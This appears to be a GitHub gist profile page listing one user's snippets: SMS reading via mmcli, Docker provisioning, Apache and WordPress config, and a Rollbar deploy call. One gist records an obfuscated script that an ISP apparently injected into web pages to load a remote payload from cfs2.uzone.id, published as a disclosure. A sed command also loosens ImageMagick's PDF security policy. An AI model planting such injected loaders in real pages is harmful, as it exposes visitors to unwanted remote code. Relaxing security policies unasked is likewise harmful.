Skip to content

Instantly share code, notes, and snippets.

View donnykurnia's full-sized avatar

Donny Kurnia donnykurnia

View GitHub Profile
@donnykurnia
donnykurnia / read-text-message.sh
Created October 6, 2023 06:28 — forked from FinnWoelm/read-text-message.sh
How to read text messages from USB modem
# Full instructions: http://manpages.ubuntu.com/manpages/bionic/en/man8/mmcli.8.html
# Examples: http://manpages.ubuntu.com/manpages/bionic/en/man8/mmcli.8.html#examples
# Supported modems: https://www.freedesktop.org/wiki/Software/ModemManager/SupportedDevices/
# Get list of connected modems.
mmcli --list-modems
# Output:
# Found 1 modems:
# /org/freedesktop/ModemManager1/Modem/1 [huawei] E3531
# The number at the end of the path is the modem index.
@donnykurnia
donnykurnia / install-docker.sh
Last active September 26, 2022 21:11
Shell provision for ubuntu-based vagrant machine to install latest docker daemon (1.9.1)
export DEBIAN_FRONTEND=noninteractive
# update repository
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
echo 'deb https://apt.dockerproject.org/repo ubuntu-trusty main' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get upgrade -y
apt-get autoremove --purge -y
apt-get purge -y lxc-docker
@donnykurnia
donnykurnia / gist:2356dad4119ce85d18d18708914c60e3
Last active June 29, 2022 04:35
Injection code from Telkom Indihome. This code will replace </body> at the end of webpage with the code below. The content may varied, but the main payload is loaded from cfs2.uzone.id
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnCgur28FUm401VrTNseDf2JlEA6ZiOk%2ffQK22KycK5kPdVDjpnejkM9P73Pe7Y6EuuaOitYkmzmKNO8RUzaFdaIXn6R7NkvKk9cKCHQzyvNXXPs%2bsueqLp2EKbC6X0Nu38%2fmvVexzHBsuqHkiQG%2bNd%2bm8E%2f1Gq6XVEDRBd4yBsks3piKPJIEbKaNRdQVxqlbqy5Bs6h0iSFn8zyf11ihllrf6ZNmrJse7MMGOa5Bg8V4gb29r7%2bHjvRblYlXTzoDaVMg79rr8%2fNSZ6ssVfsxi0UIiVvCjFalmdmUa4D3V21bRqM4cgubmchEbbS%2bil%2bkh%2bMxt3Lc4cILEYiziKexsYIRCUr4wR%2fPBUNQ0j4IIx1jEuAgOLeRdwvvw4aFM0V1i21bvKCvX8DaMIllnngEEJ09Ev%2fVl90I1UyrYKv6AaTOlPRBinecqub0KT%2flfLk3J5BMJsGhRjFCfISXqn01lRdvFPPMPwF0W10PRF8Of4%2feqOmNt6%2f1%2bIe66Xn2XLzyo%2fXuwHgr8%2fESw2BJ%2fexkP1
@donnykurnia
donnykurnia / .htaccess
Created April 1, 2013 08:52
.htaccess for 503 maintenance page
ErrorDocument 503 /index.html
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* /index.html [R=503,L]
@donnykurnia
donnykurnia / example.php
Created December 10, 2012 18:15
Wordpress menu generator
// import socialniho menu
$top = new Menu('Top menu');
// page link
if ($page = get_page_by_path('some-page')) {
$top->title('Page');
$top->object_id($page->ID);
$top->object('page');
$top->type('post_type');
$top->save();
@donnykurnia
donnykurnia / sed command
Last active August 27, 2020 09:26
patch /etc/ImageMagick/policy.xml to allow read and write PDF file
sudo sed -e 's/<policy domain="coder" rights="none" pattern="PDF" \/>/<policy domain="coder" rights="read|write" pattern="PDF" \/>\n\ \ <policy domain="coder" rights="read|write" pattern="LABEL" \/>/' -i /etc/ImageMagick/policy.xml
@donnykurnia
donnykurnia / Shell
Created January 10, 2020 14:18 — forked from evgenyneu/Shell
Calling rollbar deployment webhook
ACCESS_TOKEN=secret
ENVIRONMENT=production
LOCAL_USERNAME=`whoami`
REVISION=`git log -n 1 --pretty=format:"%H"`
curl https://api.rollbar.com/api/1/deploy/ \
-F access_token=$ACCESS_TOKEN \
-F environment=$ENVIRONMENT \
-F revision=$REVISION \
-F local_username=$LOCAL_USERNAME
https://guide.freecodecamp.org/agile/continuous-integration/
https://www.gocd.org/2018/01/31/continuous-delivery-metrics/
https://circleci.com/docs/2.0/
https://circleci.com/docs/2.0/language-php/
https://circleci.com/docs/2.0/deployment-integrations/#heroku
https://devcenter.heroku.com/articles/getting-started-with-laravel
https://github.com/donnykurnia/kfi-ci-simple-laravel
@donnykurnia
donnykurnia / error in server.log
Last active January 4, 2018 14:55
error in server
4f6dd52f43d4f703a14ee0c8b4349b5a
@donnykurnia
donnykurnia / npm run build error on node 4.0.0.log
Last active January 4, 2018 14:54
npm run build error on node 4.0.0
7c082d12c5a22351d3c83530e493ceee